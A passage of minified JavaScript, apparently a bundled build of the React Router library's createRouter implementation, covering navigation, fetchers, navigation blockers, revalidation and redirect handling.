t.document<"u"&&typeof t.document.createElement<"u";ft(e.routes.length>0,"You must provide a non-empty routes array to createRouter");let s=e.hydrationRouteProperties||[],i=e.mapRouteProperties||yR,c={},u=cu(e.routes,i,void 0,c),d,m=e.basename||"/";m.startsWith("/")||(m=`/${m}`);let h=e.dataStrategy||ER,p={...e.future},x=null,g=new Set,y=null,w=null,S=null,N=e.hydrationData!=null,T=si(u,e.history.location,m),E=!1,A=null,j;if(T==null&&!e.patchRoutesOnNavigation){let K=ts(404,{pathname:e.history.location.pathname}),{matches:ee,route:le}=uf(u);j=!0,T=ee,A={[le.id]:K}}else if(T&&!e.hydrationData&&Et(T,u,e.history.location.pathname).active&&(T=null),T)if(T.some(K=>K.route.lazy))j=!1;else if(!T.some(K=>wv(K.route)))j=!0;else{let K=e.hydrationData?e.hydrationData.loaderData:null,ee=e.hydrationData?e.hydrationData.errors:null;if(ee){let le=T.findIndex(xe=>ee[xe.route.id]!==void 0);j=T.slice(0,le+1).every(xe=>!cg(xe.route,K,ee))}else j=T.every(le=>!cg(le.route,K,ee))}else{j=!1,T=[];let K=Et(null,u,e.history.location.pathname);K.active&&K.matches&&(E=!0,T=K.matches)}let R,D={historyAction:e.history.action,location:e.history.location,matches:T,initialized:j,navigation:mx,restoreScrollPosition:e.hydrationData!=null?!1:null,preventScrollReset:!1,revalidation:"idle",loaderData:e.hydrationData&&e.hydrationData.loaderData||{},actionData:e.hydrationData&&e.hydrationData.actionData||null,errors:e.hydrationData&&e.hydrationData.errors||A,fetchers:new Map,blockers:new Map},k="POP",B=!1,I,z=!1,U=new Map,$=null,H=!1,W=!1,se=new Set,M=new Map,O=0,V=-1,Z=new Map,ce=new Set,F=new Map,P=new Map,q=new Set,Y=new Map,me,we=null;function fe(){if(x=e.history.listen(({action:K,location:ee,delta:le})=>{if(me){me(),me=void 0;return}gn(Y.size===0||le!=null,"You are trying to use a blocker on a POP navigation to a location that was not created by @remix-run/router. This will fail silently in production. This can happen if you are navigating outside the router via `window.history.pushState`/`window.location.hash` instead of using router navigation APIs.  This can also happen if you are using createHashRouter and the user manually changes the URL.");let xe=na({currentLocation:D.location,nextLocation:ee,historyAction:K});if(xe&&le!=null){let Ce=new Promise(Le=>{me=Le});e.history.go(le*-1),Kn(xe,{state:"blocked",location:ee,proceed(){Kn(xe,{state:"proceeding",proceed:void 0,reset:void 0,location:ee}),Ce.then(()=>e.history.go(le))},reset(){let Le=new Map(D.blockers);Le.set(xe,Lc),ke({blockers:Le})}});return}return Qe(K,ee)}),n){VR(t,U);let K=()=>UR(t,U);t.addEventListener("pagehide",K),$=()=>t.removeEventListener("pagehide",K)}return D.initialized||Qe("POP",D.location,{initialHydration:!0}),R}function ye(){x&&x(),$&&$(),g.clear(),I&&I.abort(),D.fetchers.forEach((K,ee)=>un(ee)),D.blockers.forEach((K,ee)=>Es(ee))}function Oe(K){return g.add(K),()=>g.delete(K)}function ke(K,ee={}){K.matches&&(K.matches=K.matches.map(Ce=>{let Le=c[Ce.route.id],Fe=Ce.route;return Fe.element!==Le.element||Fe.errorElement!==Le.errorElement||Fe.hydrateFallbackElement!==Le.hydrateFallbackElement?{...Ce,route:Le}:Ce})),D={...D,...K};let le=[],xe=[];D.fetchers.forEach((Ce,Le)=>{Ce.state==="idle"&&(q.has(Le)?le.push(Le):xe.push(Le))}),q.forEach(Ce=>{!D.fetchers.has(Ce)&&!M.has(Ce)&&le.push(Ce)}),[...g].forEach(Ce=>Ce(D,{deletedFetchers:le,viewTransitionOpts:ee.viewTransitionOpts,flushSync:ee.flushSync===!0})),le.forEach(Ce=>un(Ce)),xe.forEach(Ce=>D.fetchers.delete(Ce))}function $e(K,ee,{flushSync:le}={}){let xe=D.actionData!=null&&D.navigation.formMethod!=null&&va(D.navigation.formMethod)&&D.navigation.state==="loading"&&K.state?._isRedirect!==!0,Ce;ee.actionData?Object.keys(ee.actionData).length>0?Ce=ee.actionData:Ce=null:xe?Ce=D.actionData:Ce=null;let Le=ee.loaderData?dC(D.loaderData,ee.loaderData,ee.matches||[],ee.errors):D.loaderData,Fe=D.blockers;Fe.size>0&&(Fe=new Map(Fe),Fe.forEach((Re,Be)=>Fe.set(Be,Lc)));let Ue=H?!1:Ye(K,ee.matches||D.matches),He=B===!0||D.navigation.formMethod!=null&&va(D.navigation.formMethod)&&K.state?._isRedirect!==!0;d&&(u=d,d=void 0),H||k==="POP"||(k==="PUSH"?e.history.push(K,K.state):k==="REPLACE"&&e.history.replace(K,K.state));let qe;if(k==="POP"){let Re=U.get(D.location.pathname);Re&&Re.has(K.pathname)?qe={currentLocation:D.location,nextLocation:K}:U.has(K.pathname)&&(qe={currentLocation:K,nextLocation:D.location})}else if(z){let Re=U.get(D.location.pathname);Re?Re.add(K.pathname):(Re=new Set([K.pathname]),U.set(D.location.pathname,Re)),qe={currentLocation:D.location,nextLocation:K}}ke({...ee,actionData:Ce,loaderData:Le,historyAction:k,location:K,initialized:!0,navigation:mx,revalidation:"idle",restoreScrollPosition:Ue,preventScrollReset:He,blockers:Fe},{viewTransitionOpts:qe,flushSync:le===!0}),k="POP",B=!1,z=!1,H=!1,W=!1,we?.resolve(),we=null}async function Xe(K,ee){if(typeof K=="number"){e.history.go(K);return}let le=lg(D.location,D.matches,m,K,ee?.fromRouteId,ee?.relative),{path:xe,submission:Ce,error:Le}=nC(!1,le,ee),Fe=D.location,Ue=lu(D.location,xe,ee&&ee.state);Ue={...Ue,...e.history.encodeLocation(Ue)};let He=ee&&ee.replace!=null?ee.replace:void 0,qe="PUSH";He===!0?qe="REPLACE":He===!1||Ce!=null&&va(Ce.formMethod)&&Ce.formAction===D.location.pathname+D.location.search&&(qe="REPLACE");let Re=ee&&"preventScrollReset"in ee?ee.preventScrollReset===!0:void 0,Be=(ee&&ee.flushSync)===!0,ot=na({currentLocation:Fe,nextLocation:Ue,historyAction:qe});if(ot){Kn(ot,{state:"blocked",location:Ue,proceed(){Kn(ot,{state:"proceeding",proceed:void 0,reset:void 0,location:Ue}),Xe(K,ee)},reset(){let Rt=new Map(D.blockers);Rt.set(ot,Lc),ke({blockers:Rt})}});return}await Qe(qe,Ue,{submission:Ce,pendingError:Le,preventScrollReset:Re,replace:ee&&ee.replace,enableViewTransition:ee&&ee.viewTransition,flushSync:Be})}function pt(){we||(we=IR()),Se(),ke({revalidation:"loading"});let K=we.promise;return D.navigation.state==="submitting"?K:D.navigation.state==="idle"?(Qe(D.historyAction,D.location,{startUninterruptedRevalidation:!0}),K):(Qe(k||D.historyAction,D.navigation.location,{overrideNavigation:D.navigation,enableViewTransition:z===!0}),K)}async function Qe(K,ee,le){I&&I.abort(),I=null,k=K,H=(le&&le.startUninterruptedRevalidation)===!0,ca(D.location,D.matches),B=(le&&le.preventScrollReset)===!0,z=(le&&le.enableViewTransition)===!0;let xe=d||u,Ce=le&&le.overrideNavigation,Le=le?.initialHydration&&D.matches&&D.matches.length>0&&!E?D.matches:si(xe,ee,m),Fe=(le&&le.flushSync)===!0;if(Le&&D.initialized&&!W&&BR(D.location,ee)&&!(le&&le.submission&&va(le.submission.formMethod))){$e(ee,{matches:Le},{flushSync:Fe});return}let Ue=Et(Le,xe,ee.pathname);if(Ue.active&&Ue.matches&&(Le=Ue.matches),!Le){let{error:zn,notFoundMatches:zt,route:jt}=Sa(ee.pathname);$e(ee,{matches:zt,loaderData:{},errors:{[jt.id]:zn}},{flushSync:Fe});return}I=new AbortController;let He=il(e.history,ee,I.signal,le&&le.submission),qe=e.getContext?await e.getContext():new eC,Re;if(le&&le.pendingError)Re=[ri(Le).route.id,{type:"error",error:le.pendingError}];else if(le&&le.submission&&va(le.submission.formMethod)){let zn=await nn(He,ee,le.submission,Le,qe,Ue.active,le&&le.initialHydration===!0,{replace:le.replace,flushSync:Fe});if(zn.shortCircuited)return;if(zn.pendingActionResult){let[zt,jt]=zn.pendingActionResult;if(Ba(jt)&&uu(jt.error)&&jt.error.status===404){I=null,$e(ee,{matches:zn.matches,loaderData:{},errors:{[zt]:jt.error}});return}}Le=zn.matches||Le,Re=zn.pendingActionResult,Ce=px(ee,le.submission),Fe=!1,Ue.active=!1,He=il(e.history,He.url,He.signal)}let{shortCircuited:Be,matches:ot,loaderData:Rt,errors:yn}=await an(He,ee,Le,qe,Ue.active,Ce,le&&le.submission,le&&le.fetcherSubmission,le&&le.replace,le&&le.initialHydration===!0,Fe,Re);Be||(I=null,$e(ee,{matches:ot||Le,...fC(Re),loaderData:Rt,errors:yn}))}async function nn(K,ee,le,xe,Ce,Le,Fe,Ue={}){Se();let He=PR(ee,le);if(ke({navigation:He},{flushSync:Ue.flushSync===!0}),Le){let Be=await Pt(xe,ee.pathname,K.signal);if(Be.type==="aborted")return{shortCircuited:!0};if(Be.type==="error"){if(Be.partialMatches.length===0){let{matches:Rt,route:yn}=uf(u);return{matches:Rt,pendingActionResult:[yn.id,{type:"error",error:Be.error}]}}let ot=ri(Be.partialMatches).route.id;return{matches:Be.partialMatches,pendingActionResult:[ot,{type:"error",error:Be.error}]}}else if(Be.matches)xe=Be.matches;else{let{notFoundMatches:ot,error:Rt,route:yn}=Sa(ee.pathname);return{matches:ot,pendingActionResult:[yn.id,{type:"error",error:Rt}]}}}let qe,Re=Vf(xe,ee);if(!Re.route.action&&!Re.route.lazy)qe={type:"error",error:ts(405,{method:K.method,pathname:ee.pathname,routeId:Re.route.id})};else{let Be=yl(i,c,K,xe,Re,Fe?[]:s,Ce),ot=await Ne(K,Be,Ce,null);if(qe=ot[Re.route.id],!qe){for(let Rt of xe)if(ot[Rt.route.id]){qe=ot[Rt.route.id];break}}if(K.signal.aborted)return{shortCircuited:!0}}if($i(qe)){let Be;return Ue&&Ue.replace!=null?Be=Ue.replace:Be=lC(qe.response.headers.get("Location"),new URL(K.url),m)===D.location.pathname+D.location.search,await ne(K,qe,!0,{submission:le,replace:Be}),{shortCircuited:!0}}if(Ba(qe)){let Be=ri(xe,Re.route.id);return(Ue&&Ue.replace)!==!0&&(k="PUSH"),{matches:xe,pendingActionResult:[Be.route.id,qe,Re.route.id]}}return{matches:xe,pendingActionResult:[Re.route.id,qe]}}async function an(K,ee,le,xe,Ce,Le,Fe,Ue,He,qe,Re,Be){let ot=Le||px(ee,Fe),Rt=Fe||Ue||mC(ot),yn=!H&&!qe;if(Ce){if(yn){let Mn=Zt(Be);ke({navigation:ot,...Mn!==void 0?{actionData:Mn}:{}},{flushSync:Re})}let lt=await Pt(le,ee.pathname,K.signal);if(lt.type==="aborted")return{shortCircuited:!0};if(lt.type==="error"){if(lt.partialMatches.length===0){let{matches:Xs,route:Ds}=uf(u);return{matches:Xs,loaderData:{},errors:{[Ds.id]:lt.error}}}let Mn=ri(lt.partialMatches).route.id;return{matches:lt.partialMatches,loaderData:{},errors:{[Mn]:lt.error}}}else if(lt.matches)le=lt.matches;else{let{error:Mn,notFoundMatches:Xs,route:Ds}=Sa(ee.pathname);return{matches:Xs,loaderData:{},errors:{[Ds.id]:Mn}}}}let zn=d||u,{dsMatches:zt,revalidatingFetchers:jt}=aC(K,xe,i,c,e.history,D,le,Rt,ee,qe?[]:s,qe===!0,W,se,q,F,ce,zn,m,e.patchRoutesOnNavigation!=null,Be);if(V=++O,!e.dataStrategy&&!zt.some(lt=>lt.shouldLoad)&&!zt.some(lt=>lt.route.middleware&&lt.route.middleware.length>0)&&jt.length===0){let lt=Ut();return $e(ee,{matches:le,loaderData:{},errors:Be&&Ba(Be[1])?{[Be[0]]:Be[1].error}:null,...fC(Be),...lt?{fetchers:new Map(D.fetchers)}:{}},{flushSync:Re}),{shortCircuited:!0}}if(yn){let lt={};if(!Ce){lt.navigation=ot;let Mn=Zt(Be);Mn!==void 0&&(lt.actionData=Mn)}jt.length>0&&(lt.fetchers=ae(jt)),ke(lt,{flushSync:Re})}jt.forEach(lt=>{Lt(lt.key),lt.controller&&M.set(lt.key,lt.controller)});let os=()=>jt.forEach(lt=>Lt(lt.key));I&&I.signal.addEventListener("abort",os);let{loaderResults:Ua,fetcherResults:aa}=await be(zt,jt,K,xe);if(K.signal.aborted)return{shortCircuited:!0};I&&I.signal.removeEventListener("abort",os),jt.forEach(lt=>M.delete(lt.key));let Xn=df(Ua);if(Xn)return await ne(K,Xn.result,!0,{replace:He}),{shortCircuited:!0};if(Xn=df(aa),Xn)return ce.add(Xn.key),await ne(K,Xn.result,!0,{replace:He}),{shortCircuited:!0};let{loaderData:As,errors:Yt}=uC(D,le,Ua,Be,jt,aa);qe&&D.errors&&(Yt={...D.errors,...Yt});let Ts=Ut(),Ni=Tn(V),Ia=Ts||Ni||jt.length>0;return{matches:le,loaderData:As,errors:Yt,...Ia?{fetchers:new Map(D.fetchers)}:{}}}function Zt(K){if(K&&!Ba(K[1]))return{[K[0]]:K[1].data};if(D.actionData)return Object.keys(D.actionData).length===0?null:D.actionData}function ae(K){return K.forEach(ee=>{let le=D.fetchers.get(ee.key),xe=Pc(void 0,le?le.data:void 0);D.fetchers.set(ee.key,xe)}),new Map(D.fetchers)}async function Ae(K,ee,le,xe){Lt(K);let Ce=(xe&&xe.flushSync)===!0,Le=d||u,Fe=lg(D.location,D.matches,m,le,ee,xe?.relative),Ue=si(Le,Fe,m),He=Et(Ue,Le,Fe);if(He.active&&He.matches&&(Ue=He.matches),!Ue){We(K,ee,ts(404,{pathname:Fe}),{flushSync:Ce});return}let{path:qe,submission:Re,error:Be}=nC(!0,Fe,xe);if(Be){We(K,ee,Be,{flushSync:Ce});return}let ot=e.getContext?await e.getContext():new eC,Rt=(xe&&xe.preventScrollReset)===!0;if(Re&&va(Re.formMethod)){await G(K,ee,qe,Ue,ot,He.active,Ce,Rt,Re);return}F.set(K,{routeId:ee,path:qe}),await J(K,ee,qe,Ue,ot,He.active,Ce,Rt,Re)}async function G(K,ee,le,xe,Ce,Le,Fe,Ue,He){Se(),F.delete(K);let qe=D.fetchers.get(K);Te(K,zR(He,qe),{flushSync:Fe});let Re=new AbortController,Be=il(e.history,le,Re.signal,He);if(Le){let dn=await Pt(xe,new URL(Be.url).pathname,Be.signal,K);if(dn.type==="aborted")return;if(dn.type==="error"){We(K,ee,dn.error,{flushSync:Fe});return}else if(dn.matches)xe=dn.matches;else{We(K,ee,ts(404,{pathname:le}),{flushSync:Fe});return}}let ot=Vf(xe,le);if(!ot.route.action&&!ot.route.lazy){let dn=ts(405,{method:He.formMethod,pathname:le,routeId:ee});We(K,ee,dn,{flushSync:Fe});return}M.set(K,Re);let Rt=O,yn=yl(i,c,Be,xe,ot,s,Ce),zt=(await Ne(Be,yn,Ce,K))[ot.route.id];if(Be.signal.aborted){M.get(K)===Re&&M.delete(K);return}if(q.has(K)){if($i(zt)||Ba(zt)){Te(K,br(void 0));return}}else{if($i(zt))if(M.delete(K),V>Rt){Te(K,br(void 0));return}else return ce.add(K),Te(K,Pc(He)),ne(Be,zt,!1,{fetcherSubmission:He,preventScrollReset:Ue});if(Ba(zt)){We(K,ee,zt.error);return}}let jt=D.navigation.location||D.location,os=il(e.history,jt,Re.signal),Ua=d||u,aa=D.navigation.state!=="idle"?si(Ua,D.navigation.location,m):D.matches;ft(aa,"Didn't find any matches after fetcher action");let Xn=++O;Z.set(K,Xn);let As=Pc(He,zt.data);D.fetchers.set(K,As);let{dsMatches:Yt,revalidatingFetchers:Ts}=aC(os,Ce,i,c,e.history,D,aa,He,jt,s,!1,W,se,q,F,ce,Ua,m,e.patchRoutesOnNavigation!=null,[ot.route.id,zt]);Ts.filter(dn=>dn.key!==K).forEach(dn=>{let Ws=dn.key,Ei=D.fetchers.get(Ws),ls=Pc(void 0,Ei?Ei.data:void 0);D.fetchers.set(Ws,ls),Lt(Ws),dn.controller&&M.set(Ws,dn.controller)}),ke({fetchers:new Map(D.fetchers)});let Ni=()=>Ts.forEach(dn=>Lt(dn.key));Re.signal.addEventListener("abort",Ni);let{loaderResults:Ia,fetcherResults:lt}=await be(Yt,Ts,os,Ce);if(Re.signal.aborted)return;if(Re.signal.removeEventListener("abort",Ni),Z.delete(K),M.delete(K),Ts.forEach(dn=>M.delete(dn.key)),D.fetchers.has(K)){let dn=br(zt.data);D.fetchers.set(K,dn)}let Mn=df(Ia);if(Mn)return ne(os,Mn.result,!1,{preventScrollReset:Ue});if(Mn=df(lt),Mn)return ce.add(Mn.key),ne(os,Mn.result,!1,{preventScrollReset:Ue});let{loaderData:Xs,errors:Ds}=uC(D,aa,Ia,void 0,Ts,lt);Tn(Xn),D.navigation.state==="loading"&&Xn>V?(ft(k,"Expected pending action"),I&&I.abort(),$e(D.navigation.location,{matches:aa,loaderData:Xs,errors:Ds,fetchers:new Map(D.fetchers)})):(ke({errors:Ds,loaderData:dC(D.loaderData,Xs,aa,Ds),fetchers:new Map(D.fetchers)}),W=!1)}async function J(K,ee,le,xe,Ce,Le,Fe,Ue,He){let qe=D.fetchers.get(K);Te(K,Pc(He,qe?qe.data:void 0),{flushSync:Fe});let Re=new AbortController,Be=il(e.history,le,Re.signal);if(Le){let jt=await Pt(xe,new URL(Be.url).pathname,Be.signal,K);if(jt.type==="aborted")return;if(jt.type==="error"){We(K,ee,jt.error,{flushSync:Fe});return}else if(jt.matches)xe=jt.matches;else{We(K,ee,ts(404,{pathname:le}),{flushSync:Fe});return}}let ot=Vf(xe,le);M.set(K,Re);let Rt=O,yn=yl(i,c,Be,xe,ot,s,Ce),zt=(await Ne(Be,yn,Ce,K))[ot.route.id];if(M.get(K)===Re&&M.delete(K),!Be.signal.aborted){if(q.has(K)){Te(K,br(void 0));return}if($i(zt))if(V>Rt){Te(K,br(void 0));return}else{ce.add(K),await ne(Be,zt,!1,{preventScrollReset:Ue});return}if(Ba(zt)){We(K,ee,zt.error);return}Te(K,br(zt.data))}}async function ne(K,ee,le,{submission:xe,fetcherSubmission:Ce,preventScrollReset:Le,replace:Fe}={}){ee.response.headers.has("X-Remix-Revalidate")&&(W=!0);let Ue=ee.response.headers.get("Location");ft(Ue,"Expected a Location header on the redirect Response"),Ue=lC(Ue,new URL(K.url),m);let He=lu(D.location,Ue,{_isRedirect:!0});if(n){let yn=!1;if(ee.response.headers.has("X-Remix-Reload-Document"))yn=!0;else if(bv(Ue)){const zn=iE(Ue,!0);yn=zn.origin!==t.location.origin||ss(zn.pathname,m)==null}if(yn){Fe?t.location.replace(Ue):t.location.assign(Ue);return}}I=null;let qe=Fe===!0||ee.response.headers.has("X-Remix-Replace")?"REPLACE":"PUSH",{formMethod:Re,formAction:Be,formEncType:ot}=D.navigation;!xe&&!Ce&&Re&&Be&&ot&&(xe=mC(D.navigation));let Rt=xe||Ce;if(xR.has(ee.response.status)&&Rt&&va(Rt.formMethod))await Qe(qe,He,{submission:{...Rt,formAction:Ue},preventScrollReset:Le||B,enableViewTransition:le?z:void 0});else{let yn=px(He,xe);await Qe(qe,He,{overrideNavigation:yn,fetcherSubmission:Ce,preventScrollReset:Le||B,enableViewTransition:le?z:void 0})}}async function Ne(K,ee,le,xe){let Ce,Le={};try{Ce=await AR(h,K,ee,xe,le,!1)}catch(Fe){return ee.filter(Ue=>Ue.shouldLoad).forEach(Ue=>{Le[Ue.route.id]={type:"error",error:Fe}}),Le}if(K.signal.aborted)return Le;for(let[Fe,Ue]of Object.entries(Ce))if(OR(Ue)){let He=Ue.result;Le[Fe]={type:"redirect",response:_R(He,K,Fe,ee,m)}}else Le[Fe]=await RR(Ue);return Le}async function be(K,ee,le,xe){let Ce=Ne(le,K,xe,null),Le=Promise.all(ee.map(async He=>{if(He.matches&&He.match&&He.request&&He.controller){let Re=(await Ne(He.request,He.matches,xe,He.key))[He.match.route.id];return{[He.key]:Re}}else return Promise.resolve({[He.key]:{type:"error",error:ts(404,{pathname:He.path})}})})),Fe=await Ce,Ue=(await Le).reduce((He,qe)=>Object.assign(He,qe),{});return{loaderResults:Fe,fetcherResults:Ue}}function Se(){W=!0,F.forEach((K,ee)=>{M.has(ee)&&se.add(ee),Lt(ee)})}function Te(K,ee,le={}){D.fetchers.set(K,ee),ke({fetchers:new Map(D.fetchers)},{flushSync:(le&&le.flushSync)===!0})}function We(K,ee,le,xe={}){let Ce=ri(D.matches,ee);un(K),ke({errors:{[Ce.route.id]:le},fetchers:new Map(D.fetchers)},{flushSync:(xe&&xe.flushSync)===!0})}function ct(K){return P.set(K,(P.get(K)||0)+1),q.has(K)&&q.delete(K),D.fetchers.get(K)||gR}function Jt(K,ee){Lt(K,ee?.reason),Te(K,br(null))}function un(K){let ee=D.fetchers.get(K);M.has(K)&&!(ee&&ee.state==="loading"&&Z.has(K))&&Lt(K),F.delete(K),Z.delete(K),ce.delete(K),q.delete(K),se.delete(K),D.fetchers.delete(K)}function sn(K){let ee=(P.get(K)||0)-1;ee<=0?(P.delete(K),q.add(K)):P.set(K,ee),ke({fetchers:new Map(D.fetchers)})}function Lt(K,ee){let le=M.get(K);le&&(le.abort(ee),M.delete(K))}function Yn(K){for(let ee of K){let le=ct(ee),xe=br(le.data);D.fetchers.set(ee,xe)}}function Ut(){let K=[],ee=!1;for(let le of ce){let xe=D.fetchers.get(le);ft(xe,`Expected fetcher: ${le}`),xe.state==="loading"&&(ce.delete(le),K.push(le),ee=!0)}return Yn(K),ee}function Tn(K){let ee=[];for(let[le,xe]of Z)if(xe<K){let Ce=D.fetchers.get(le);ft(Ce,`Expected fetcher: ${le}`),Ce.state==="loading"&&(Lt(le),Z.delete(le),ee.push(le))}return Yn(ee),ee.length>0}function en(K,ee){let le=D.blockers.get(K)||Lc;return Y.get(K)!==ee&&Y.set(K,ee),le}function Es(K){D.blockers.delete(K),Y.delete(K)}function Kn(K,ee){let le=D.blockers.get(K)||Lc;ft(le.state==="unblocked"&&ee.state==="blocked"||le.state==="blocked"&&ee.state==="blocked"||le.state==="blocked"&&ee.state==="proceeding"||le.state==="blocked"&&ee.state==="unblocked"||le.state==="proceeding"&&ee.state==="unblocked",`Invalid blocker state transition: ${le.state} -> ${ee.state}`);let xe=new Map(D.blockers);xe.set(K,ee),ke({blockers:xe})}function na({currentLocation:K,nextLocation:ee,historyAction:le}){if(Y.size===0)return;Y.size>1&&gn(!1,"A router only supports one blocker at a time");let xe=Array.from(Y.entries()),[Ce,Le]=xe[xe.length-1],Fe=D.blockers.get(Ce);if(!(Fe&&Fe.state==="proceeding")&&Le({currentLocation:K,nextLocation:ee,historyAction:le}))return Ce}function Sa(K){let ee=ts(404,{pathname:K}),le=d||u,{matches:xe,route:Ce}=uf(le);return{notFoundMatches:xe,route:Ce,error:ee}}function js(K,ee,le){if(y=K,S=ee,w=le||null,!N&&D.navigation===mx){N=!0;let xe=Ye(D.location,D.matches);xe!=null&&ke({restoreScrollPosition:xe})}return()=>{y=null,S=null,w=null}}function Na(K,ee){return w&&w(K,ee.map(xe=>YD(xe,D.loaderData)))||K.key}function ca(K,ee){if(y&&S){let le=Na(K,ee);y[le]=S()}}function Ye(K,ee){if(y){let le=Na(K,ee),xe=y[le];if(typeof xe=="number")return xe}return null}function Et(K,ee,le){if(e.patchRoutesOnNavigation)if(K){if(Object.keys(K[0].params).length>0)return{active:!0,matches:zf(ee,le,m,!0)}}else return{active:!0,matches:zf(ee,le,m,!0)||[]};return{active:!1,matches:null}}async function Pt(K,ee,le,xe){if(!e.patchRoutesOnNavigation)return{type:"success",matches:K};let Ce=K;for(;;){let Le=d==null,Fe=d||u,Ue=c;try{await e.patchRoutesOnNavigation({signal:le,path:ee,matches:Ce,fetcherKey:xe,patch:(Re,Be)=>{le.aborted||sC(Re,Be,Fe,Ue,i,!1)}})}catch(Re){return{type:"error",error:Re,partialMatches:Ce}}finally{Le&&!le.aborted&&(u=[...u])}if(le.aborted)return{type:"aborted"};let He=si(Fe,ee,m);if(He)return{type:"success",matches:He};let qe=zf(Fe,ee,m,!0);if(!qe||Ce.length===qe.length&&Ce.every((Re,Be)=>Re.route.id===qe[Be].route.id))return{type:"success",matches:null};Ce=qe}}function vn(K){c={},d=cu(K,i,void 0,c)}function Va(K,ee,le=!1){let xe=d==null;sC(K,ee,d||u,c,i,le),xe&&(u=[...u],ke({}))}return R={get basename(){return m},get future(){return p},get state(){return D},get routes(){return u},get window(){return t},initialize:fe,subscribe:Oe,enableScrollRestoration:js,navigate:Xe,fetch:Ae,revalidate:pt,createHref:K=>e.history.createHref(K),encodeLocation:K=>e.history.encodeLocation(K),getFetcher:ct,resetFetcher:Jt,deleteFetcher:sn,dispose:ye,getBlocker:en,deleteBlocker:Es,patchRoutes:Va,_internalFetchControllers:M,_internalSetRoutes:vn,_internalSetStateDoNotUseOrYouWillBreakYourApp(K){ke(K)}},R}function wR(e){return e!=null&&("formData"in e&&e.formData!=null||"body"in e&&e.body!==void 0)}function lg(e,t,n,s,i,c){let u,d;if(i){u=[];for(let h of t)if(u.push(h),h.route.id===i){d=h;break}}else u=t,d=t[t.length-1];let m=fh(s||".",dh(u),ss(e.pathname,n)||e.pathname,c==="path");if(s==null&&(m.search=e.search,m.hash=e.hash),(s==null||s===""||s===".")&&d){let h=Cv(m.search);if(d.route.index&&!h)m.search=m.search?m.search.replace(/^\?/,"?index&"):"?index";else if(!d.route.index&&h){let p=new URLSearchParams(m.search),x=p.getAll("index");p.delete("index"),x.filter(y=>y).forEach(y=>p.append("index",y));let g=p.toString();m.search=g?`?${g}`:""}}return n!=="/"&&(m.pathname=iR({basename:n,pathname:m.pathname})),ui(m)}function nC(e,t,n){if(!n||!wR(n))return{path:t};if(n.formMethod&&!LR(n.formMethod))return{path:t,error:ts(405,{method:n.formMethod})};let s=()=>({path:t,error:ts(400,{type:"invalid-body"})}),c=(n.formMethod||"get").toUpperCase(),u=vE(t);if(n.body!==void 0){if(n.formEncType==="text/plain"){if(!va(c))return s();let x=typeof n.body=="string"?n.body:n.body instanceof FormData||n.body instanceof URLSearchParams?Array.from(n.body.entries()).reduce((g,[y,w])=>`${g}${y}=${w}
`,""):String(n.body);return{path:t,submission:{formMethod:c,formAction:u,formEncType:n.formEncType,formData:void 0,json:void 0,text:x}}}else if(n.formEncType==="application/json"){if(!va(c))return s();try{let x=typeof n.body=="string"?JSON.parse(n.body):n.body;return{path:t,submission:{formMethod:c,formAction:u,formEncType:n.formEncType,formData:void 0,json:x,text:void 0}}}catch{return s()}}}ft(typeof FormData=="function","FormData is not available in this environment");let d,m;if(n.formData)d=dg(n.formData),m=n.formData;else if(n.body instanceof FormData)d=dg(n.body),m=n.body;else if(n.body instanceof URLSearchParams)d=n.body,m=cC(d);else if(n.body==null)d=new URLSearchParams,m=new FormData;else try{d=new URLSearchParams(n.body),m=cC(d)}catch{return s()}let h={formMethod:c,formAction:u,formEncType:n&&n.formEncType||"application/x-www-form-urlencoded",formData:m,json:void 0,text:void 0};if(va(h.formMethod))return{path:t,submission:h};let p=gi(t);return e&&p.search&&Cv(p.search)&&d.append("index",""),p.search=`?${d}`,{path:ui(p),submission:h}}function aC(e,t,n,s,i,c,u,d,m,h,p,x,g,y,w,S,N,T,E,A){let j=A?Ba(A[1])?A[1].error:A[1].data:void 0,R=i.createURL(c.location),D=i.createURL(m),k;if(p&&c.errors){let H=Object.keys(c.errors)[0];k=u.findIndex(W=>W.route.id===H)}else if(A&&Ba(A[1])){let H=A[0];k=u.findIndex(W=>W.route.id===H)-1}let B=A?A[1].statusCode:void 0,I=B&&B>=400,z={currentUrl:R,currentParams:c.matches[0]?.params||{},nextUrl:D,nextParams:u[0].params,...d,actionResult:j,actionStatus:B},U=u.map((H,W)=>{let{route:se}=H,M=null;if(k!=null&&W>k?M=!1:se.lazy?M=!0:wv(se)?p?M=cg(se,c.loaderData,c.errors):CR(c.loaderData,c.matches[W],H)&&(M=!0):M=!1,M!==null)return ug(n,s,e,H,h,t,M);let O=I?!1:x||R.pathname+R.search===D.pathname+D.search||R.search!==D.search||SR(c.matches[W],H),V={...z,defaultShouldRevalidate:O},Z=z0(H,V);return ug(n,s,e,H,h,t,Z,V)}),$=[];return w.forEach((H,W)=>{if(p||!u.some(P=>P.route.id===H.routeId)||y.has(W))return;let se=c.fetchers.get(W),M=se&&se.state!=="idle"&&se.data===void 0,O=si(N,H.path,T);if(!O){if(E&&M)return;$.push({key:W,routeId:H.routeId,path:H.path,matches:null,match:null,request:null,controller:null});return}if(S.has(W))return;let V=Vf(O,H.path),Z=new AbortController,ce=il(i,H.path,Z.signal),F=null;if(g.has(W))g.delete(W),F=yl(n,s,ce,O,V,h,t);else if(M)x&&(F=yl(n,s,ce,O,V,h,t));else{let P={...z,defaultShouldRevalidate:I?!1:x};z0(V,P)&&(F=yl(n,s,ce,O,V,h,t,P))}F&&$.push({key:W,routeId:H.routeId,path:H.path,matches:F,match:V,request:ce,controller:Z})}),{dsMatches:U,revalidatingFetchers:$}}function wv(e){return e.loader!=null||e.middleware!=null&&e.middleware.length>0}function cg(e,t,n){if(e.lazy)return!0;if(!wv(e))return!1;let s=t!=null&&e.id in t,i=n!=null&&n[e.id]!==void 0;return!s&&i?!1:typeof e.loader=="function"&&e.loader.hydrate===!0?!0:!s&&!i}function CR(e,t,n){let s=!t||n.route.id!==t.route.id,i=!e.hasOwnProperty(n.route.id);return s||i}function SR(e,t){let n=e.route.path;return e.pathname!==t.pathname||n!=null&&n.endsWith("*")&&e.params["*"]!==t.params["*"]}function z0(e,t){if(e.route.shouldRevalidate){let n=e.route.shouldRevalidate(t);if(typeof n=="boolean")return n}return t.defaultShouldRevalidate}function sC(e,t,n,s,i,c){let u;if(e){let h=s[e];ft(h,`No route found to patch children into: routeId = ${e}`),h.children||(h.children=[]),u=h.children}else u=n;let d=[],m=[];if(t.forEach(h=>{let p=u.find(x=>hE(h,x));p?m.push({existingRoute:p,newRoute:h}):d.push(h)}),d.length>0){let 